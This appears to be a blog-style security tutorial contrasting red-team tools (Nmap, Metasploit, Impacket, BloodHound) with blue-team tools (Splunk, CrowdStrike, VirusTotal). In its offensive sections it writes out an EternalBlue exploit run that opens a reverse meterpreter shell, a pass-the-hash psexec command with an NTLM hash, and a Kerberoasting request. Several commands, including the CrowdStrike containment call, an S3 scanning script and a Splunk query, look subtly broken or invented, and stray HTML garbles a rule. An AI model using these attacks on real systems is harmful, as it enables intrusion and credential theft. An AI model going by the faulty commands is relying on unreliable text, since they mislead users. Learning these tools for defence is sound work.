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Introduction:
In the perpetual chess match between offensive and defensive security teams, the tools each side wields determine the outcome of breaches, incident responses, and compliance audits. A recent viral infographic from Hacking Articles showcased a split-screen reality: on the left, defensive powerhouses like Splunk and CrowdStrike; on the right, penetration testing staples like Nmap, Metasploit, and BloodHound. Understanding how these tools operate—and the commands that drive them—is essential for any IT professional aiming to harden cloud infrastructure, detect lateral movement, or simulate real-world attacks.
Learning Objectives:
- Master the installation and execution of key red-team tools (Nmap, Impacket, Metasploit, BloodHound) for vulnerability assessment and privilege escalation.
- Configure and utilize blue-team platforms (Splunk, VirusTotal, CrowdStrike) to detect, analyze, and respond to active threats.
- Implement hybrid workflows that combine offensive and defensive techniques to improve API security and cloud hardening.
You Should Know:
- Reconnaissance & Scanning: Nmap & Maltego – Mapping the Battlefield
The first step in any engagement—whether red or blue—is asset discovery. Nmap (Network Mapper) identifies live hosts, open ports, and running services. Maltego transforms OSINT data into actionable attack graphs.
What the post says: Nmap is the right-side scanner of choice; Maltego appears on the defensive left for threat intelligence gathering.
Step-by-step guide – Nmap reconnaissance:
1. Basic host discovery (Linux/macOS/Windows WSL):
nmap -sn 192.168.1.0/24
Pings all hosts in the subnet without port scanning.
2. Aggressive service and OS detection:
nmap -A -T4 192.168.1.100
Enables OS detection, version detection, script scanning, and traceroute.
3. Vulnerability scripting engine (NSE) for SMB exploits:
nmap --script smb-vuln -p 445 192.168.1.100
Checks for EternalBlue and other SMB vulnerabilities.
4. Windows equivalent (PowerShell):
Test-NetConnection -ComputerName 192.168.1.100 -Port 445
Maltego for blue teams: Install Maltego CE (Community Edition) on Windows/Linux. Use the “DNS Name to IP” and “IP to ASN” transforms to map an organization’s external footprint. This helps identify shadow IT and misconfigured cloud assets before attackers do.
- Defensive Analytics: Splunk & CrowdStrike – Detecting the Needle
Splunk ingests machine data to provide real-time search and alerting. CrowdStrike Falcon delivers endpoint detection and response (EDR) with behavioral AI.
Step-by-step – Splunk query for lateral movement:
- Search for unusual PowerShell execution (Splunk Search Processing Language):
index=windows EventCode=4104 | search ScriptBlockText="Invoke-Expression" OR "IEX"
Detects encoded commands often used by Meterpreter payloads.
2. Correlate failed logons followed by success:
index=windows EventCode=4625 | stats count by src_ip, user | where count > 5
Identifies brute-force attempts.
CrowdStrike Falcon CLI (Linux) – real-time quarantine:
falconctl -g --aid=<agent_id> --action=contain
Isolates a compromised endpoint from the network.
API security tip: Use Splunk’s HTTP Event Collector (HEC) to ingest API gateway logs. Create an alert for `403` followed by `200` from the same IP within 10 seconds – a classic bypass attempt.
- Offensive Tooling: Metasploit & Impacket – Exploitation and Lateral Movement
Metasploit is the framework for developing and executing exploits. Impacket (by SecureAuth) provides low-level Python access to network protocols, enabling pass-the-hash and SMB relay attacks.
Step-by-step – Metasploit reverse shell on a Windows target:
1. Start Metasploit console (Linux/Kali):
msfconsole
2. Use the EternalBlue exploit (MS17-010):
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 exploit
- After compromise – migrate to a stable process:
migrate -N explorer.exe
Impacket – Pass-the-Hash (Windows to Linux):
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c [email protected]
Executes a remote command shell using only the NTLM hash.
Mitigation: Enable SMB signing and use LAPS (Local Administrator Password Solution) to rotate unique local admin passwords.
- Active Directory Dominance: BloodHound & HackTheBox – Visualizing Attack Paths
BloodHound uses graph theory to map AD relationships and find privilege escalation chains. HackTheBox (HTB) is a training platform that simulates real-world vulnerable machines.
Step-by-step – BloodHound collection and analysis:
1. Run SharpHound (Windows collector):
SharpHound.exe -c All --outputdirectory C:\Temp
2. Import JSON files into BloodHound (Linux/Windows):
- Start Neo4j database: `sudo neo4j start`
– Launch BloodHound: `bloodhound –no-sandbox`
- Find shortest path to Domain Admin – Use the pre-built query “Find Shortest Paths to Domain Admins.”
HackTheBox – recommended practice boxes:
- Forest (Active Directory, AS-REP roasting)
- Sauna (Kerberoasting)
- Cascade (privilege escalation via registry)
Linux command for Kerberoasting (impacket):
impacket-GetUserSPNs -dc-ip 10.10.10.10 mydomain.local/john:Password123 -request
- Cloud Hardening & API Security – Applying the Lessons
Many tools from the infographic have cloud equivalents. For example, CrowdStrike’s cloud workload protection and Splunk Cloud. To harden AWS or Azure APIs, combine Nmap-style port scanning with cloud-native policies.
Step-by-step – Cloud API hardening with open-source tools:
- Scan for open cloud storage (using `nmap` with S3 bucket script):
nmap --script s3-buckets.nse -p 443 my-cloud-company.com
-
Enforce MFA on all API calls (AWS CLI):
aws iam create-policy --policy-name RequireMFA --policy-document file://mfa-policy.json
Policy document restricts API actions unless `aws:MultiFactorAuthPresent` is true.
-
Monitor for abnormal API traffic using Falco (runtime security):
</p></li> </ol> <p>- rule: AWS Console Login Without MFA condition: aws.cloudtrail.eventname = "ConsoleLogin" and json.optional("additionalEventData", "MFAUsed") != "Yes" output: "MFA missing for user (%aws.user)"Windows command for API endpoint enumeration:
Invoke-WebRequest -Uri "https://api.target.com/v1/users" -Method Get -Headers @{"Authorization"="Bearer fake_token"}Always validate token rejection handling – a 200 with an error message indicates misconfiguration.
- VirusTotal & Balena Etcher – Sanity Checks and Forensic Imaging
VirusTotal aggregates 70+ antivirus engines to scan files and URLs. Balena Etcher writes bootable USB images – essential for creating forensics or live Linux environments.
Step-by-step – Using VirusTotal API (Python):
1. Install `vt-py`:
pip install vt-py
2. Submit a suspicious file hash:
import vt client = vt.Client("YOUR_API_KEY") file = client.get_object("/files/44d88612fea8a8f36de82e1278abb02f") print(file.last_analysis_stats)Balena Etcher on Windows/Linux: Download the executable, select the ISO (e.g., Kali Linux, CAINE forensics), choose target USB, and flash. Always verify hash after writing: `sha256sum /dev/sdX` to prevent tampered images.
7. Vulnerability Exploitation & Mitigation Workflow
Combining red and blue tool outputs creates a closed-loop remediation cycle.
Step-by-step – From scan to patch:
- Nmap scan → discovered port 3389 (RDP) open with weak NLA settings.
2. Metasploit → `use auxiliary/scanner/rdp/rdp_scanner` confirms vulnerability.
- BloodHound → finds a Domain User in the “Remote Desktop Users” group.
- Splunk alert → correlates RDP logins from non-corporate IPs.
- CrowdStrike → contains the affected host and initiates remediation.
- Hardening → apply GPO to restrict RDP to JumpBox IPs only.
Linux hardening command (disable RDP service on Linux RDP servers):
sudo systemctl stop xrdp && sudo systemctl disable xrdp
Windows PowerShell command to restrict RDP to a specific IP range:
New-NetFirewallRule -DisplayName "Restrict RDP" -Direction Inbound -LocalPort 3389 -Protocol TCP -Action Allow -RemoteAddress 192.168.10.0/24
What Undercode Say:
- No single tool wins a breach – Red and blue teams must share data; Splunk logs feed BloodHound graphs, and CrowdStrike detections inform Metasploit retesting.
- Automation is non-negotiable – Manual Nmap scans and Splunk dashboards are only starting points. Integrate APIs (VirusTotal, CrowdStrike Falcon) into CI/CD pipelines to block malicious commits.
- The human factor remains – The comment “I only recognize the box icon” underscores a training gap. Use HackTheBox and HTB Academy to convert theoretical knowledge into muscle memory.
The viral infographic didn’t just list tools—it illustrated a mindset. Defenders use Maltego to map their own exposure; attackers use Impacket to exploit missing patches. The only way to win is to practice both sides until the commands become instinct.
Prediction:
Within 24 months, AI-driven autonomous agents will replace manual execution of these tools. An LLM orchestrator will ingest a BloodHound graph, query Splunk for detection gaps, launch an Impacket attack via a sandboxed container, and produce a patching ticket—all without human keystrokes. Cybersecurity roles will shift from “tool operators” to “AI red-team trainers” who validate and refine these autonomous workflows. Organizations that fail to adopt tool-agnostic, API-first security architectures will be breached by AI that never sleeps, never misses a port scan, and always finds the shortest path to Domain Admin.
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